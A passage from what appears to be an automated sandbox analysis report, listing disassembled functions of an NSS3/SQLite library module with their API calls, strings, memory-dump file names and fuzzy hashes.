Part of subcall function 6D05D000: PORT_ZAlloc_Util.NSS3(00000108,?,6D05DE74,6D037FFA,00000002,?,?,?,?,?,00000000,6D037FFA,00000000,?,6D0623B9,00000002), ref: 6D05D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6D037FFA,00000000,?,6D0623B9,00000002,00000000,?,6D037FFA,00000002), ref: 6D05DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6D05DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D05E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D05E121
PK11_FreeSymKey.NSS3(?), ref: 6D05E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6D05E195
PR_GetCurrentThread.NSS3 ref: 6D05E1FC

Part of subcall function 6D052460: PR_SetError.NSS3(FFFFE005,00000000,6D0F7379,00000002,?), ref: 6D052493

Strings

application data, xrefs: 6D05DFE0
early application data, xrefs: 6D05DFC9
key, xrefs: 6D05E046
handshake data, xrefs: 6D05DFF7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 6d89fee3b8ca863b9cca9246c115a6f87646400ed9c11c44ab98740daa30de9f
Instruction ID: 74fae474b681b70fa16ded74e1714e8391bf692d4c54d2b334acf904abb3d408
Opcode Fuzzy Hash: 6d89fee3b8ca863b9cca9246c115a6f87646400ed9c11c44ab98740daa30de9f
Instruction Fuzzy Hash: 85C1D275A04216ABFB04CF65DD80BAEB7F4FF49314F048129ED199B291E731E960CBA1

Function 6CF4ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CF4EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF4F483
%s at line %d of [%.10s], xrefs: 6CF4F492
database corruption, xrefs: 6CF4F48D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: ef84749d868ffe857b0a1f0a2dd7cc3f061ccd49dfdc8d01be07ff5334a821b5
Instruction ID: f51a97ae3d6613d0c1fee993550244503f19772ebd9afd37cdef084dcdfa9904
Opcode Fuzzy Hash: ef84749d868ffe857b0a1f0a2dd7cc3f061ccd49dfdc8d01be07ff5334a821b5
Instruction Fuzzy Hash: 6762F371E042458FEB44CF68C440BAABFB1BF49318F29C199D9495BB93D775E882CB90

Function 6CFEFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CFEFD06

Part of subcall function 6CFEF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CFEF696
Part of subcall function 6CFEF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CFEF789
Part of subcall function 6CFEF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CFEF796
Part of subcall function 6CFEF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CFEF79F
Part of subcall function 6CFEF670: SECITEM_DupItem_Util.NSS3 ref: 6CFEF7F0

Part of subcall function 6D013440: PK11_GetAllTokens.NSS3 ref: 6D013481
Part of subcall function 6D013440: PR_SetError.NSS3(00000000,00000000), ref: 6D0134A3
Part of subcall function 6D013440: TlsGetValue.KERNEL32 ref: 6D01352E
Part of subcall function 6D013440: EnterCriticalSection.KERNEL32(?), ref: 6D013542
Part of subcall function 6D013440: PR_Unlock.NSS3(?), ref: 6D01355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CFEFDAD

Part of subcall function 6D01FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFC9003,?), ref: 6D01FD91
Part of subcall function 6D01FD80: PORT_Alloc_Util.NSS3(A4686D02,?), ref: 6D01FDA2
Part of subcall function 6D01FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686D02,?,?), ref: 6D01FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFEFE00

Part of subcall function 6D01FD80: free.MOZGLUE(00000000,?,?), ref: 6D01FDD1

Part of subcall function 6D00E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6D00E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CFEFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CFEFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFEFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFEFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CFEFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFEFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CFF0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CFF0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFF0044

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 2cd4ebc0d60ee0b6a5c65561d72e5d813f6512a700efc1e4e19650a38fb064d6
Instruction ID: 6ec1edb416739aeb12dc7411c0928578ea7f5eb128195fcf825c8cc01d415413
Opcode Fuzzy Hash: 2cd4ebc0d60ee0b6a5c65561d72e5d813f6512a700efc1e4e19650a38fb064d6
Instruction Fuzzy Hash: 1AB1B2B1A04341AFE704CF29DC80B6BB7E5FF88318F558A2DE99997641E770E940CB91

Function 6CFE7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CFE7DDC

Part of subcall function 6D0207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFC8298,?,?,?,6CFBFCE5,?), ref: 6D0207BF
Part of subcall function 6D0207B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0207E6
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D02081B
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D020825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFE7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CFE7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CFE7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CFE7F98
PK11_FreeSymKey.NSS3(?), ref: 6CFE7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFE7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CFE8000

Part of subcall function 6D009430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CFE7F0C,?,00000000,00000000,00000000,?), ref: 6D00943B
Part of subcall function 6D009430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6D00946B
Part of subcall function 6D009430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6D009546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFE8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CFE811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CFE822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFE823C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 58f638e0fa39d52fc1c637ed7ead521096750e1ddf1cebc1dcb43dcf16026057
Instruction ID: 27a93306427d2fdd6f97407e44ace2c1c041f34676b96ebd8bf76c01de78a6ef
Opcode Fuzzy Hash: 58f638e0fa39d52fc1c637ed7ead521096750e1ddf1cebc1dcb43dcf16026057
Instruction Fuzzy Hash: 3CC170B1D40259ABEB21DF54CC40FEAB7B9AF09308F0581E6E91DA7641E7319E85CF90

Function 6CF5AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6D07CF46,?,6CF4CDBD,?,6D07BF31,?,?,?,?,?,?,?), ref: 6CF5B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6D07CF46,?,6CF4CDBD,?,6D07BF31), ref: 6CF5B090
sqlite3_free.NSS3(?,?,?,?,?,?,6D07CF46,?,6CF4CDBD,?,6D07BF31), ref: 6CF5B0A2
CloseHandle.KERNEL32(?,?,6D07CF46,?,6CF4CDBD,?,6D07BF31,?,?,?,?,?,?,?,?,?), ref: 6CF5B100
sqlite3_free.NSS3(?,?,00000002,?,6D07CF46,?,6CF4CDBD,?,6D07BF31,?,?,?,?,?,?,?), ref: 6CF5B115
sqlite3_free.NSS3(?,?,?,?,?,?,6D07CF46,?,6CF4CDBD,?,6D07BF31), ref: 6CF5B12D

Part of subcall function 6CF49EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF5C6FD,?,?,?,?,6CFAF965,00000000), ref: 6CF49F0E
Part of subcall function 6CF49EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CFAF965,00000000), ref: 6CF49F5D

Strings

`m, xrefs: 6CF5B0DF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `m
API String ID: 3155957115-495496912
Opcode ID: cf95880ba5a9006f7bf2ad40c88e6a902765d9e1089ee9b0671ce9edec9efbb3
Instruction ID: ff0e0d550cd72a5f05ba0fb5276dcddd7816a18992cd77e6070228b38641b96b
Opcode Fuzzy Hash: cf95880ba5a9006f7bf2ad40c88e6a902765d9e1089ee9b0671ce9edec9efbb3
Instruction Fuzzy Hash: F39114B1A042068FDB04CF64D981BBBB7F1FF55304F544A2DE51687A50EB72E5A0CB61

Function 6CFF0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CFF0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFF0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CFF1006
PK11_FreeSymKey.NSS3(?), ref: 6CFF101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFF1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CFF1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CFF108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFF10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CFF10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CFF112E

Part of subcall function 6CFF1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CFF08C4,?,?), ref: 6CFF15B8
Part of subcall function 6CFF1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CFF08C4,?,?), ref: 6CFF15C1
Part of subcall function 6CFF1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF162E
Part of subcall function 6CFF1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF1637

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: e5f5e1c40711518c15ebcdc55e8c3292a0d11da7921affed8e8ab7caa009d5bf
Instruction ID: 7e65450f17f8442176c097e8e19766ac04335189b9e4273c0728468de3049f34
Opcode Fuzzy Hash: e5f5e1c40711518c15ebcdc55e8c3292a0d11da7921affed8e8ab7caa009d5bf
Instruction Fuzzy Hash: 7C71E2B1E042058FEB00CFA5CC80A6BB7B4FF44318F15862DEA2997761E771D946CB90

Function 6D011CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6D011F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6D012166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D01228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D0123B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D01241C

Strings

manufacturer, xrefs: 6D012179
serial, xrefs: 6D0122A2
model, xrefs: 6D0123CB, 6D0123EC
token, xrefs: 6D011F2C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 9949f3b958d6888f8ff2224803e152866acd6a0c80b6a1284587ad3c92e3b429
Instruction ID: d9d151354f1065cbe8a391516b8eaea5268fa08de71698e264748241e4f10533
Opcode Fuzzy Hash: 9949f3b958d6888f8ff2224803e152866acd6a0c80b6a1284587ad3c92e3b429
Instruction Fuzzy Hash: 7902F362E0C7C96EF73186B1CC4D7E76AF09B56324F48156EC6DE4B2C3C3A859898352

Function 6CF50FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CF4CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFAF9C9,?,6CFAF4DA,6CFAF9C9,?,?,6CF7369A), ref: 6CF4CA7A
Part of subcall function 6CF4CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF4CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CF5103E
EnterCriticalSection.KERNEL32(?), ref: 6CF51139
LeaveCriticalSection.KERNEL32(?), ref: 6CF51190
sqlite3_free.NSS3(00000000), ref: 6CF51227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CF5126E
sqlite3_free.NSS3(?), ref: 6CF5127F

Strings

Pm, xrefs: 6CF5109E
winAccess, xrefs: 6CF5129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CF51267

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pm$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1676063749
Opcode ID: 87cbe17b3c1ce569515104084c8c02422060a4a03bab0be02e5e98c73e97f2f9
Instruction ID: ce3dd1da73258b3ba840f8aa0fd13cc3a02e6a7f4cc96faba6cadcf8203f2c66
Opcode Fuzzy Hash: 87cbe17b3c1ce569515104084c8c02422060a4a03bab0be02e5e98c73e97f2f9
Instruction Fuzzy Hash: 31714D326042019BEB048FA4FD85B6F3379FF96314F558229EA21C7980DB71ED91CB92

Function 6D016C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFC1C6F,00000000,00000004,?,?), ref: 6D016C3F

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CFC1C6F,00000000,00000004,?,?), ref: 6D016C60
PR_ExplodeTime.NSS3(00000000,6CFC1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CFC1C6F,00000000,00000004,?,?), ref: 6D016C94

Strings

gfff, xrefs: 6D016CF5
gfff, xrefs: 6D016CFD
gfff, xrefs: 6D016D66
gfff, xrefs: 6D016D9C
gfff, xrefs: 6D016D30

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 18c0cf084b8177e0459c3bb7c4f0bcb5db2141a6662cc798547bd808450a0b63
Instruction ID: 571e100f1553830b8f0af8f578585da2ac5270c217e8e0d4693295a0eb18687c
Opcode Fuzzy Hash: 18c0cf084b8177e0459c3bb7c4f0bcb5db2141a6662cc798547bd808450a0b63
Instruction Fuzzy Hash: 04514C72B055494FD708CDADDC527DEBBDAABA4310F48C23AE842DB781D678D902C751

Function 6D090F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6D091027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0910B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D091353

Strings

'%.*q', xrefs: 6D091217, 6D091292
%lld, xrefs: 6D09114B
$, xrefs: 6D0912A0
zeroblob(%d), xrefs: 6D091223
NULL, xrefs: 6D09119E
%02x, xrefs: 6D0912F6
-- , xrefs: 6D090FF5

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 00e37ee9f56723a6ee946269f719dc17ca14fe1bfa6093b33b7efee3b47302c3
Instruction ID: bc1d07bc86df7cd7cc80151a86e9c4207351c93cb4411171c354ea61b863d152
Opcode Fuzzy Hash: 00e37ee9f56723a6ee946269f719dc17ca14fe1bfa6093b33b7efee3b47302c3
Instruction Fuzzy Hash: D2E1AA71A083419BE701CF68C480B6FBBF9BF8A344F44982DE9958B251E771E945DB43

Function 6D098FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D098FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0990DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D099118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D09915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0991C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D099209

Strings

UUUU, xrefs: 6D099255
3333, xrefs: 6D09925E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 5d5811ee535a6de50419f50bfaae1f27b6f39de853e669a28d540afee4548f73
Instruction ID: a90fed6b176a3f376e3f123ed040e9c480a328137f5a14e2e272bb3880590bc9
Opcode Fuzzy Hash: 5d5811ee535a6de50419f50bfaae1f27b6f39de853e669a28d540afee4548f73
Instruction Fuzzy Hash: 8FA1A376E002159FEB04CB68DC81BAEB7F5BF88324F0A5129D915AB351E736EC51CB90

Function 6D02BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D02BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D02BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D02BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D02BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6D02BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6D02BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6D02BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6D02BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6D02BE1E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

